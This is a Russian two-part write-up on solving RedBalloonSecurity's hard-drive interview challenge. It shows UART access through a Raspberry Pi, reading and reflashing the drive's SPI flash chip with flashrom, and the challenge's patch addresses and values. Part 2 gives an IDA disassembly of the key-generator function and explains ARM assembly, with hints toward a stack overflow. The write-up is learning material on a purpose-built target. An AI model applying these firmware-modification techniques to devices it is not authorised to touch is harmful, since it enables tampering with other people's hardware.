На неттопе не оказалось UART интерфейса (нафиг там не нужен). Но, ситуация сложилась так, что у меня под рукой была Raspberry Pi 3b+. Поискав описание GPIO пинов, я все таки нашел на нем порты для UART.

Итого, нам необходимо сконтачить:
RPI TX (pin #10) -> HDD RX
RPI RX (pin #08) -> HDD TX
RPI GND (pin #06) -> HDD GND

Подключение к серийнику диска

Я использовал обыкновенные Female-Female провода. То, что нужно было воткнуть в диск я успешно заизолировал скотчем. Последний не изолировал поскольку в этом не было необходимости, да и находился он уж слишком близко к порту SATA data, и когда я подключал питание к диску, всетаки приходилось немного его ужимать.

Стоит упомянуть, что UART интерфейс должен быть включен, но возможность логинится через него должна быть отключена. Иначе, в консольник диска посыпятся данные от Login Prompt Raspbian. Для отключения, делаем следующее:
1. Запускаем raspi-config
2. Выбираем Interface Options
3. Выбираем Serial Port
4. Отвечаем "нет" на Would you like a login shell to be accessible over serial?
5. Отвечаем "да" на Would you like the serial port hardware to be enabled?
6. Перезагружаем Raspberry Pi

Далее, нам понадобится minicom для работы с Serial портом. Методом подбора, мне удалось выяснить скорость, парность и прочие параметры для серийника (хотя, их можно было и найти в интернете). Подключаемся к Serial порту:

root@rpi ~ # minicom -b 38400 -D /dev/ttyS0

И здесь я увидел тонны сообщений о том, что мне необходимо что-то пропатчить.

Welcome to minicom 2.7.1OPTIONS: I18n Compiled on Aug 13 2017, 15:25:34.Port /dev/ttyS0, 21:05:41Press CTRL-A Z for help on special keysRBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!CTRL-A Z for help | 38400 8N1 | NOR | Minicom 2.7.1 | VT102 | Offline | ttyS0                                        

Здесь ко мне дошло, что решение этой задачи очевидно хардварное. В подсказках была последняя страничка, на которой было видно 5 контактов. Сняв плату с диска я посмотрел на эти контакты и обратил внимание на то, куда они ведут. Все они шли на Winbond W25X40BLS02. Найдя datasheet по этому чипу, у меня получилось определить какая ножка чипа за что отвечает.

Решение для задачи нашлось супер быстро. Прогнав strings по level_1_makesureitsnotcorrupted.lod, я нашел информацию что и как патчить. ASCII единорога заценил.

        O$HQ9H)\%6QM[h+r4m:4i,XJCPRS        \.                                                              \\      .                                                       \\ _,.+;)_                                                     .\\;~%:88%%.                                                  (( a   `)9,8;%.                                                /`   _) ' `9%%%?                                              (' .-' j    '8%%'                                               `"+   |    .88%)+._____..,,_   ,+%$%.                                :.   d%9`             `-%*'"'~%$.                           ___(   (%C                 `.   68%%9                        ."        \7                  ;  C8%%)`                        : ."-.__,'.____________..,`   L.  \86' ,                       : L    : :            `  .'\.   '.  %$9%)                      ;  -.  : |             \  \  "-._ `. `~"                        `. !  : |              )  >     ". ?                             `'  : |            .' .'       : |                                 ; !          .' .'         : |                                ,' ;         ' .'           ; (                               .  (         j  (            `  \                              """'          ""'             `"" mh  Congratulations! To solve this challenge patch those values: Address: 0x00c, data:0b1b Address: 0xbce, data:002149f249f800219fa049f245f89e48         @<H|XY?W??kFK?B?>y1Ykb!=l.y^ZV:VKwF

Тем временем, я нашел уйму информации о том как эти чипы считывать и записывать. К моему счастью, на Raspberry Pi нашелся SPI интерфейс для работы с flash чипами. К сожалению, под рукой не имелось Male-Female проводов, но имея Male-Male и Female-Female можно смело добится желаемого. На фото с бумажкой под Raspberry Pi, слева вверху видно плюс минус схематическое расположение контактов flash чипа, а также их цвета дабы не запутаться. Единственным моментом, который меня оочень смущал, был размер отверствий. Я подобное никогда не припаивал, и, дабы не сломать ничего, мне пришлось обрезать 1 конец Male-Male провода, отогнуть 4 из 8 жил (больше в отверствие банально не пролезет), и отогнуть их немного с другого конца. Таким образом мы получили невероятно нестабильное соединение с платой. Но и вероятность что-то сломать в таком случае крайне мала. Как видите, GND шнур не подсоединен никуда. Это из-за того, что плата мне не знакома, и я не стал рисковать контачить его туда, где я думаю есть заземление. Этот контакт я подсоединил пальцами напрямую к Winbond чипу - этого хватит на время считывания и заливки прошивки.

Прошивка чипа

Сам по себе процесс прошивки делается через flashrom c указанием девайса SPI, скорости, и файлов куда\от-куда. Из-за нестабильного соединения, Raspberry Pi иногда не видела чип. А даже когда и видела, мне приходилось считывать дважды дабы не было ошибок. Проверка контрольной суммы в таком случае обязательна!

Flashrom прошивка

Детально описывать процесс изменения прошивки не буду. Скажу лишь, что нам надо открыть файл прошивки (ff или ff2 :D) hex-редактором, изменить там несколько байт в соответствии с решением из level_1_makesureitsnotcorrupted.lod, и залить обратно с помощью того же flashrom.

После проделанных изменений, я прикрутил плату обратно к диску, подключил его, и меня ждал открытый раздел LEVEL2.

Друзья, если вам интересен подобный материал, ставьте плюсики. Весь процесс, так или иначе, в один пост не поместится.

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 1

29.03.2021 00:13:50 | Автор: admin

А что дальше?

Хабровчане и хабровчушки, эта статья является долгожданным (ага, в пару дней) продолжением моей предыдущей статьи о взломе жесткого диска для собеседования в инфосек компанию RedBalloonSecurity. Любителей поковырять железяки я спешу разочаровать, поскольку все дальнейшие манипуляции с диском будут проводится только на уровне ассемблерного кода и логики. Поэтому, приготовьте чай/кофе или чего покрепче, ведь мы снова лезем в embeded дебри и опять пускаемся в неизвестность.

LEVEL2

Моему счастью не было предела когда я залил пропатченую прошивку на Winbond Flash чип и ядро моего Debian-неттопа распознало еще 1 раздел диска. Здесь будет немного больше информации, чем в предыдущем разделе. Ведь повышая уровень, сложность нашей с вами задачи только увеличивается.

Содержимое раздела:

tkchk@ubuntu:/media/user/LEVEL2$ file *0001-keystone-armv5.patch: unified diff output, ASCII textlevel_2.html:              HTML document, ASCII text, with very long lineslevel2_instructions.txt:   ASCII textlevel_2.lod:               datalevel_3.lod.7z.encrypted:  7-zip archive data, version 0.3
  1. level_2.lod - это новый файл прошивки для диска. Прошиваемся так же, как и в предыдущей статье. Здесь ничего нового.

  2. level_3.lod.7z.encrypted - это файл прошивки для следующего уровня. Судя по его разрешению, файл находится в запароленном 7z архиве. Нам нужно решить текущий уровень чтоб достать пароль от слудующего.

  3. level2_instructions.txt - это, собственно, инструкции что и как делать. Подсказки тоже имеются.

  4. 0001-leystone-armv5.patch - это патч для Keystone Assembler. Keystone это компилятор и набор С-шных библиотек для перевода ассемблерного кода в опкоды для процессора. Об этом чуть позже.

  5. level_2.html - изюминка текущего уровня. Выглядит точ-в-точ как текст, который генерирует IDA Pro при загрузке бинарника.

Для тех, кто не в курсе, IDA Pro это программа для дизассемблирования. Дело в том, что когда мы пишем код на высокоуровневых языках (C, Python и тд) и подвергаем его компиляции, мы переводим наш +- human-readable текст в язык машинного кода. Тоесть, мы опускаем более понятную человеку логику в логику, которая больше понятна машине. Машина не понимает что такое функция, ведь функция, это скорее абстракция в голове у программиста. Процесс дизассемблирования позволяет сделать наоборот - поднять логику из машинного на человекопонятный уровень. Некоторые дизассемблеры позволяют поднять логику даже на C-шный уровень, хоть и не всегда делают это корректно (на самом деле очень даже корректно, но читать такой код порой бывает сложнее чем ассемблер). Если работаем с чем-то мелким, и надо кабанчиком понять что там происходит - этого хватит, но для более высокоточных вещей нужен уровень ассемблера. Это мы и получили в виде level_2.html файла.

tkchk@ubuntu:/media/user/LEVEL2$ cat level2_instructions.txt Congratulations... you have made it to the other sideBack when I was an intern, I designed this key generation function. My boss hated it.I hate my boss.1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level2.html provides disassembly of a memory snapshot of the key generator function.To help... guide... you in this adventure, you'll find a patchfile for the keystoneassembler to force the correct architecture.Also, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCII
0001-keystone-armv5.patch
tkchk@ubuntu-mac:/media/tkchk/LEVEL2$ cat 0001-keystone-armv5.patch From 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)      if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-        +         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 } @@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-            +     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) { +    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;-- 1.9.1
level_2.html
ROM:00332D00ROM:00332D00 ; Segment type: Pure codeROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=0ROM:00332D00                 ; ORG 0x332D00ROM:00332D00                 CODE16ROM:00332D00ROM:00332D00 ; =============== S U B R O U T I N E =======================================ROM:00332D00ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.ROM:00332D00 ; The next level to reach, the key parts to print you must!ROM:00332D00ROM:00332D00 generate_keyROM:00332D00ROM:00332D00 var_28          = -0x28ROM:00332D00ROM:00332D00                 PUSH            {R4-R7,LR}ROM:00332D02                 SUB             SP, SP, #0x10ROM:00332D04                 MOVS            R7, R1ROM:00332D06                 MOVS            R4, R2ROM:00332D08                 MOVS            R5, R0ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...ROM:00332D0C                 LDRB            R0, [R1,#1]ROM:00332D0E                 CMP             R0, #0x31ROM:00332D10                 BNE             loc_332D1AROM:00332D12                 ADDS            R0, R1, #2ROM:00332D14                 BLX             ahex2byteROM:00332D18                 LDR             R1, =0x6213600ROM:00332D1AROM:00332D1A loc_332D1A                              ; CODE XREF: generate_key+10jROM:00332D1A                 MOV             R2, SPROM:00332D1CROM:00332D1C loc_332D1C                              ; CODE XREF: generate_key+28jROM:00332D1C                 LDRB            R6, [R1]ROM:00332D1E                 ADDS            R1, R1, #1ROM:00332D20                 CMP             R6, #0xDROM:00332D22                 BEQ             loc_332D2AROM:00332D24                 STRB            R6, [R2]ROM:00332D26                 ADDS            R2, R2, #1ROM:00332D28                 B               loc_332D1CROM:00332D2A ; ---------------------------------------------------------------------------ROM:00332D2AROM:00332D2A loc_332D2A                              ; CODE XREF: generate_key+22jROM:00332D2A                 SUBS            R5, #0x49ROM:00332D2C                 CMP             R5, #9ROM:00332D2E                 BGT             loc_332DD8ROM:00332D30                 LSLS            R5, R5, #1ROM:00332D32                 ADDS            R5, R5, #6ROM:00332D34                 MOV             R0, PCROM:00332D36                 ADDS            R5, R0, R5ROM:00332D38                 LDRH            R0, [R5]ROM:00332D3A                 ADDS            R0, R0, R5ROM:00332D3C                 BX              R0ROM:00332D3C ; ---------------------------------------------------------------------------ROM:00332D3E                 DCW 0x15ROM:00332D40                 DCW 0xA6ROM:00332D42                 DCW 0xA4ROM:00332D44                 DCW 0xA2ROM:00332D46                 DCW 0xA0ROM:00332D48                 DCW 0x9EROM:00332D4A                 DCW 0x2EROM:00332D4C                 DCW 0x50ROM:00332D4E                 DCW 0x98ROM:00332D50                 DCW 0xCROM:00332D52 ; ---------------------------------------------------------------------------ROM:00332D52ROM:00332D52 key_part1ROM:00332D52                 LDR             R0, [R4]ROM:00332D54                 MOVS            R6, #1ROM:00332D56                 STR             R6, [R7]ROM:00332D58                 BLX             loc_332DECROM:00332D5C                 CODE32ROM:00332D5CROM:00332D5C key_part2ROM:00332D5C                 LDR             R6, [R7]ROM:00332D60                 CMP             R6, #1ROM:00332D64                 LDREQ           R1, [R4,#4]ROM:00332D68                 EOREQ           R1, R1, R0ROM:00332D6C                 MOVEQ           R6, #1ROM:00332D70                 STREQ           R6, [R7,#4]ROM:00332D74                 B               loc_332DECROM:00332D78 ; ---------------------------------------------------------------------------ROM:00332D78ROM:00332D78 key_part3ROM:00332D78                 LDR             R6, [R7]ROM:00332D7C                 CMP             R6, #1ROM:00332D80                 LDREQ           R6, [R7,#4]ROM:00332D84                 CMPEQ           R6, #1ROM:00332D88                 LDREQ           R2, [R4,#8]ROM:00332D8C                 EOREQ           R2, R2, R1ROM:00332D90                 MOVEQ           R6, #1ROM:00332D94                 STREQ           R6, [R7,#8]ROM:00332D98                 B               loc_332DECROM:00332D9C ; ---------------------------------------------------------------------------ROM:00332D9CROM:00332D9C key_part4ROM:00332D9C                 LDR             R6, [R7]ROM:00332DA0                 CMP             R6, #1ROM:00332DA4                 LDREQ           R6, [R7,#4]ROM:00332DA8                 CMPEQ           R6, #1ROM:00332DAC                 LDREQ           R6, [R7,#8]ROM:00332DB0                 CMPEQ           R6, #1ROM:00332DB4                 LDREQ           R3, [R4,#0xC]ROM:00332DB8                 EOREQ           R3, R3, R2ROM:00332DBC                 MOVEQ           R6, #1ROM:00332DC0                 STREQ           R6, [R7,#8]ROM:00332DC4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"ROM:00332DC8                 BLX             loc_332DDCROM:00332DCC                 MOV             R1, SPROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"ROM:00332DD4                 BLX             loc_332DDCROM:00332DD8                 CODE16ROM:00332DD8ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2EjROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"ROM:00332DDA                 NOPROM:00332DDCROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8pROM:00332DDC                                         ; generate_key+D4pROM:00332DDC                 SUB             SP, SP, #4ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]ROM:00332DE0                 MOVS            R0, R4ROM:00332DE2                 LDR             R4, =0x68B08DROM:00332DE4                 BLX             R4ROM:00332DE6                 ADD             SP, SP, #4ROM:00332DE8                 BLX             loc_332DECROM:00332DE8 ; End of function generate_keyROM:00332DE8ROM:00332DEC                 CODE32ROM:00332DECROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58pROM:00332DEC                                         ; generate_key+74j ...ROM:00332DEC                 ADD             SP, SP, #0x20ROM:00332DF0                 LDR             LR, [SP],#4ROM:00332DF4                 BX              LRROM:00332DF8ROM:00332DF8 ; =============== S U B R O U T I N E =======================================ROM:00332DF8ROM:00332DF8ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14pROM:00332DF8                 STMFD           SP!, {R4-R6,LR}ROM:00332DFC                 MOV             R4, R0ROM:00332E00                 MOV             R6, R0ROM:00332E04ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6CjROM:00332E04                 LDRB            R0, [R4]ROM:00332E08                 CMP             R0, #0xDROM:00332E0C                 BEQ             loc_332E68ROM:00332E10                 BL              sub_332E70ROM:00332E14                 CMN             R0, #1ROM:00332E18                 BNE             loc_332E2CROM:00332E1C                 LDRB            R0, [R4]ROM:00332E20                 BL              sub_332E98ROM:00332E24                 CMN             R0, #1ROM:00332E28                 BEQ             locret_332E6CROM:00332E2CROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20jROM:00332E2C                 MOV             R5, R0ROM:00332E30                 LDRB            R0, [R4,#1]ROM:00332E34                 BL              sub_332E70ROM:00332E38                 CMN             R0, #1ROM:00332E3C                 BNE             loc_332E50ROM:00332E40                 LDRB            R0, [R4,#1]ROM:00332E44                 BL              sub_332E98ROM:00332E48                 CMN             R0, #1ROM:00332E4C                 BEQ             locret_332E6CROM:00332E50ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44jROM:00332E50                 MOV             R5, R5,LSL#4ROM:00332E54                 ADD             R0, R5, R0ROM:00332E58                 STRB            R0, [R6]ROM:00332E5C                 ADD             R4, R4, #2ROM:00332E60                 ADD             R6, R6, #1ROM:00332E64                 B               loc_332E04ROM:00332E68 ; ---------------------------------------------------------------------------ROM:00332E68ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14jROM:00332E68                 STRB            R0, [R6]ROM:00332E6CROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30jROM:00332E6C                                         ; ahex2byte+54jROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}ROM:00332E6C ; End of function ahex2byteROM:00332E6CROM:00332E70ROM:00332E70 ; =============== S U B R O U T I N E =======================================ROM:00332E70ROM:00332E70ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18pROM:00332E70                                         ; ahex2byte+3CpROM:00332E70                 CMP             R0, #0xDROM:00332E74                 BEQ             loc_332E90ROM:00332E78                 CMP             R0, #0x30ROM:00332E7C                 BLT             loc_332E90ROM:00332E80                 CMP             R0, #0x39ROM:00332E84                 BGT             loc_332E90ROM:00332E88                 SUB             R0, R0, #0x30ROM:00332E8C                 B               locret_332E94ROM:00332E90 ; ---------------------------------------------------------------------------ROM:00332E90ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4jROM:00332E90                                         ; sub_332E70+Cj ...ROM:00332E90                 MVN             R0, #0ROM:00332E94ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1CjROM:00332E94                 BX              LRROM:00332E94 ; End of function sub_332E70ROM:00332E94ROM:00332E98ROM:00332E98 ; =============== S U B R O U T I N E =======================================ROM:00332E98ROM:00332E98ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28pROM:00332E98                                         ; ahex2byte+4CpROM:00332E98                 CMP             R0, #0x41ROM:00332E9C                 BLT             loc_332EB4ROM:00332EA0                 CMP             R0, #0x46ROM:00332EA4                 BGT             loc_332EB4ROM:00332EA8                 SUB             R0, R0, #0x41ROM:00332EAC                 ADD             R0, R0, #0xAROM:00332EB0                 B               locret_332EB8ROM:00332EB4 ; ---------------------------------------------------------------------------ROM:00332EB4ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4jROM:00332EB4                                         ; sub_332E98+CjROM:00332EB4                 MVN             R0, #0ROM:00332EB8ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18jROM:00332EB8                 BX              LRROM:00332EB8 ; End of function sub_332E98ROM:00332EB8ROM:00332EB8 ; ---------------------------------------------------------------------------ROM:00332EBC dword_332EBC    DCD 0x6213600           ; DATA XREF: generate_key+ArROM:00332EC0 dword_332EC0    DCD 0x6213600           ; DATA XREF: generate_key+18rROM:00332EC4 dword_332EC4    DCD 0x35A036            ; DATA XREF: generate_key+C4rROM:00332EC8 dword_332EC8    DCD 0x35A05C            ; DATA XREF: generate_key+D0rROM:00332ECC dword_332ECC    DCD 0x35A020            ; DATA XREF: generate_key:loc_332DD8rROM:00332ED0 off_332ED0      DCD 0x68B08D            ; DATA XREF: generate_key+E2rROM:00332ED4                 DCB 0, 0, 0, 0ROM:00332ED4 ; ROM           endsROM:00332ED4ROM:00332ED4                 END

Серьезно? ASM?

Дабы сделать эту статью более понятной широкому кругу лиц, наверное стоит дать понять что же это за дамп из IDA Pro. Опишем все до мелочей :)

В этом code-box приведены первые 20 строк из level_2.html файла:

01. ROM:00332D0002. ROM:00332D00 ; Segment type: Pure code03. ROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=004. ROM:00332D00                 ; ORG 0x332D0005. ROM:00332D00                 CODE1606. ROM:00332D0007. ROM:00332D00 ; =============== S U B R O U T I N E =======================================08. ROM:00332D0009. ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)10. ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.11. ROM:00332D00 ; The next level to reach, the key parts to print you must!12. ROM:00332D0013. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R2...

Колонка слева с ROM:XXXXXXXX - это адреса памяти. При загрузке бинарника в IDA Pro, мы должны препроверить, правильно ли IDA Pro поняла для какой архитектуры (ARM, x86, MIPS и тд. Их, ну прям очень большое количество) собран наш бинарник (в большинстве случаев, автоопределение работает очень хорошо, но если мы вгружаем не бинарник, а целый дамп памяти - некоторые вещи могут распознатся некорректно), считываем файл байт за байтом, и эта левая колонка автоинкрементируется каждый раз когда IDA Pro понимает что это за кусок данных. Данные в бинарнике могут быть поняты одним из следующих образов:

  • Данные. Самый низкий уровень понимания логики. Это когда кусок данных не представляет собой ничего конкретного. В дампе отображается как DCD, DCW, DCB - doubleword, word, byte соответственно (эти типы данных могут быть разных размеров на разных системах. Здесь советую погуглить и почитать. Сам это не сильно шарю). На такие штуки обычно есть ссылки из других участков кода. Назначение может быть самое разное. Далее будет понятно.

  • Код. Это когда кусок данных представляет собой 1 атомарную единицу операции (записать данные из регистра в память, сравнить числа и тд).

  • Строка. Это когда IDA Pro натыкается на массив данных которые лежат в ASCII диапазоне. От 0x20 до 0x7E (ASCII стандарт также описывает числа ниже 0x20, но они не имеют "текстового" смысла). Вполне возможно, что диапазон расширяется и на другие кодировки, но это вне контекста данной статьи.

  • Подпроцедура (Subroutine). Это самый высокий уровень понимания ассемблерной логики - когда IDA Pro видит функцию. Дальше мы видим то же самое, как если бы видели код. Но понимание того, что это не просто код, а функция дает невероятный скачок в осознании происходящего.

На 5й строке мы видим надпись CODE16. Это очень важно, поскольку этот дамп снят с кода для ARM процессоров (IC от LSI, который есть на плате от жесткого диска построен именно на этой архитектуре). У ARM процессоров есть 2 режима работы - ARM и Thumb.

  • В режиме ARM у нас есть доступ, наверное, ко всем ассемблерным операциям, но такие инструкции занимают 4 байта

  • В режиме Thumb мы немножко ограничены, но такие инструкции занимают 2 байта.

Причины по которым были созданы эти 2 режима мне неизвестны (знатоки в комментариях очень даже приветствуются), но могу сказать следующее.

  • В режиме ARM мы, скорее всего, будем исполнять желаемую логику быстрее. Как минимум потому что у нас есть доступ к инструкциям типа CMPEQ, которая выполнит операцию сравнения чисел только в том случае, когда результат предыдущго сравнения был успешным. Получается, что в этом режиме мы можем отдать логику if-else на железо. И сделать 2 операции (проверка предыдущего результата и выполнение новой операции) за 1 цикл процессора. Но и размер инструкций будет больше, а значит нужно использовать больше памяти.

  • В режиме Thumb мы не можем использовать подобное, но размер инструкций будет в 2 раза меньше, а значит затраты памяти будут ниже.

  • Еще стоит сказать, что архитектура ARM (не путать с режимом) прекрасна тем, что размер инструкций у них фиксирован (2 или 4 байта), чего нельзя сказать об x86

В общем, вот это CODE16 значит что в этом моменте процессор находится в Thumb режиме. И, как мы видим дальше, адреса памяти инкрементируются по 2 (конечно, там, где есть инструкция).

На строках 9-11 мы видим нарошно оставленные комментарии. Они говорят нам, что этот код исполняется тогда, когда мы вводим в серийник диска букву R и что-то после нее. Также, мы видим, что суть задачи - зарулить исполнение код таким образом, чтоб диск отдал нам части ключей. Совмещая эти ключи, мы получаем пароль от level_3.lod.7z.encrypted.

Строка 13 являет собой адрес, на который есть отсылки в коде. Дело в том, что программы на ассемблере не исполняются линейно. Инструкции типа B, BL, BX, BLX переводят исполнение кода по новому адресу. И когда IDA Pro видит такие инструкции, она автоматически дает имя этому адресу. В нашем случае, ребята из RedBalloonSecurity переименовали этот адрес в generate_key. Переименовывать позиции в коде, на который есть ссылки является прекрасным способом оставить для себя заметку о том, что делает определенный кусок кода.

На строке 15 мы видим переменную. Надеюсь, все помнят об области видимости в С? Реализация этого механизма на уровне ассемблера очень хитрая. Здесь используется структура данных типа стек.

мае, вот к чему stack в stackoverflow

У каждого процессора, помимо кэша, есть встроенное хранилище временных данных - регистры. Это самая быстрая память компьютера, как такового. Все операции с регистрами выполняются невероятно быстро. А поэтому, программу нужно строить таким образом чтоб минимизировать обращения к памяти, и почаще использовать регистры.

У ARM процессоров 15 регистров. Для большинства, можно писать код и использовать их как хочешь (хотя внутри компилятора все же есть определенные правила о том, какой регистр для чего использовать). Они имеют имена вида R0, R1 ... R15. Последние имеют специальное назначение:

  • SP (R13) - Stack Pointer. В этом регистре хранится адрес вершины стека

  • BP (R7 в Thumb, R11 в ARM) - Base Pointer. Здесь находится адрес начала стека

  • LR (R14) - Link Register. Если у бренч (B) инструкции есть приставка L, это значит, что адрес в PC нужно записать в LR (там есть определенная специфика, которую я не совсем понимаю. К этому адресу в LR должно добавлятся +2 байта для Thumb, или +4 байта для ARM. Но, это не точно). Потом это используется для возврата на предыдущее место в коде, например через BX LR. По сути, это аналог подхода, когда мы сохраняем адрес возврата на стек, но здесь используем регистр. Из преисуществ - он быстрее и часть програмной логики падает на CPU без хождения по памяти. Недостаток - регистр всего один, и предыдущие адреса возврата все же прийдется складывать на стек.

  • PC (R15) - Program Counter. Здесь находится адрес инструкции, которую процессор выполняет в данный момент. Писать сюда напрямую, кажись, нельзя. Но этот регистр полезен если мы хотим сделать прыжок на другой адрес. Даже если мы работаем с 16-битной архитектурой, мы, ну никак не можем сказать процессору прыгнуть на 16-битный адрес имея 2 байта на 1 инструкцию. Большинство инструкций для прыжка используют именно сдвиг от того, что находится в PC.

  • CSPR - Current State Process Register. Это специфический регистр. К нему нельзя обратится целиком, как и записать сюда что-то. Данные внутри этого регистра формируются автоматически на основе того, какие инструкции выполняет процессор. Он разбит на сегменты, и хранит в себе информацию о текущем состоянии процессора. К примеру, если мы делаем инструкцию CMP (сравнить числа), результат сравнения (0 или 1) пишется в один из битов этого регистра. А в дальнейшем это используется для условных операций.

Стек это определенное место в памяти, где хранятся значения локальных переменных, аргументы функций, адреса возвратов, а также предыдущее значение BP. Стек логически разбит на сегменты (stack frames). Каждый сегмент принадлежит какой-то определенной функции. И, когда мы вызываем из одной функции другую, мы по сути, сдвигаем адреса BP & SP чуть ниже(!) в памяти. Но перед тем как создавать новый сегмент на стеке, мы должны знать адрес, куда должен вернутся PC после завершения функции - он сохраняется на стеке (Return Address) перед вызовом функции. Также, чтоб при возврате, сегмент стека стал того же размера что и был, мы сохраняем предыдущее значение BP (Saved %ebp) на этот же стек. Выглядит все это дело примерно так (%ebp = BP, %esp = SP):

В предыдущем абзаце я сказал, что при создании нового сегмента стека, адреса BP & SP смещаются ниже. Дело в том, что "так сложилось исторически". Стек это FIFO конструкция, которая меняется в процессе исполнения программы. И компилятор не знает какого размера он может быть. То же самое касается кучи (heap) - памяти, которую мы запрашиваем у системы через семейство вызовов malloc (glibc). При выделении памяти в куче, ее адреса растут вверх, а вот когда растет стек, его адреса растут вниз. Стоит оговорится, что мы работаем с embeded устройством. Понятия кучи здесь, может и не быть (опять же, прошу экспертов меня поправить).

У ARM процессоров есть специальные семейство инструкций, которые работают со стеком: PUSH, POP, STMFD, LDMFD (уверен, есть еще, но для наших делишек этого хватит).

  • PUSH кладет то, что в аргументе на стек, и увеличивает стек (на самом деле уменьшает адрес)

  • POP снимает со стека данные и кладет в то, что в аргументе (зачастую регистр, но может быть и адрес памяти) и уменьшает стек (на самом деле увеличивает адрес)

  • STMFD, LDMFD делают то же самое, но туда можно запихнуть несколько регистров, и снять со стека несколько значений в рамках одной инструкции. И, кажись, указать, стоит ли подстраивать SP в зависимости от количества впихнутых регистров. Опять же, прелести ARM архитектуры!

Готовы? Ныряем!

Для того, чтоб что-то правильно сломать, нужно это правильно понять. Начнем с первого куска.

...13. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R221. ROM:00332D08                 MOVS            R5, R022. ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...23. ROM:00332D0C                 LDRB            R0, [R1,#1]24. ROM:00332D0E                 CMP             R0, #0x3125. ROM:00332D10                 BNE             loc_332D1A26. ROM:00332D12                 ADDS            R0, R1, #227. ROM:00332D14                 BLX             ahex2byte...

Строка 17-21. Первая инструкция, это PUSH. Она сохраняет на стек переменные из регистров R4-R7 и LR на стек, тоесть сохраняет предыдущий stack frame. Потом, отнимаем 16 байт от SP (увеличиваем стек). Копируем из регистров R0-R2 аргументы, которые были переданы в функцию generate_key в их "рабочие" места. Как видим, в прототипе было 3 аргумента. Регистров столко же. В предыдущем разделе я говорил, что аргументы падают на стек - это правда только в том случае, когда аргументов больше, чем 3 (или 4, уже не помню).

Процедура в предыдущем абзаце называется Function Prologue. Тоесть, не происходит ничего, что касается программной логики, но выполняется подготовка стека и регистров. Мне кажется, именно по подобным шаблонам IDA Pro отличает код от подпроцедур.

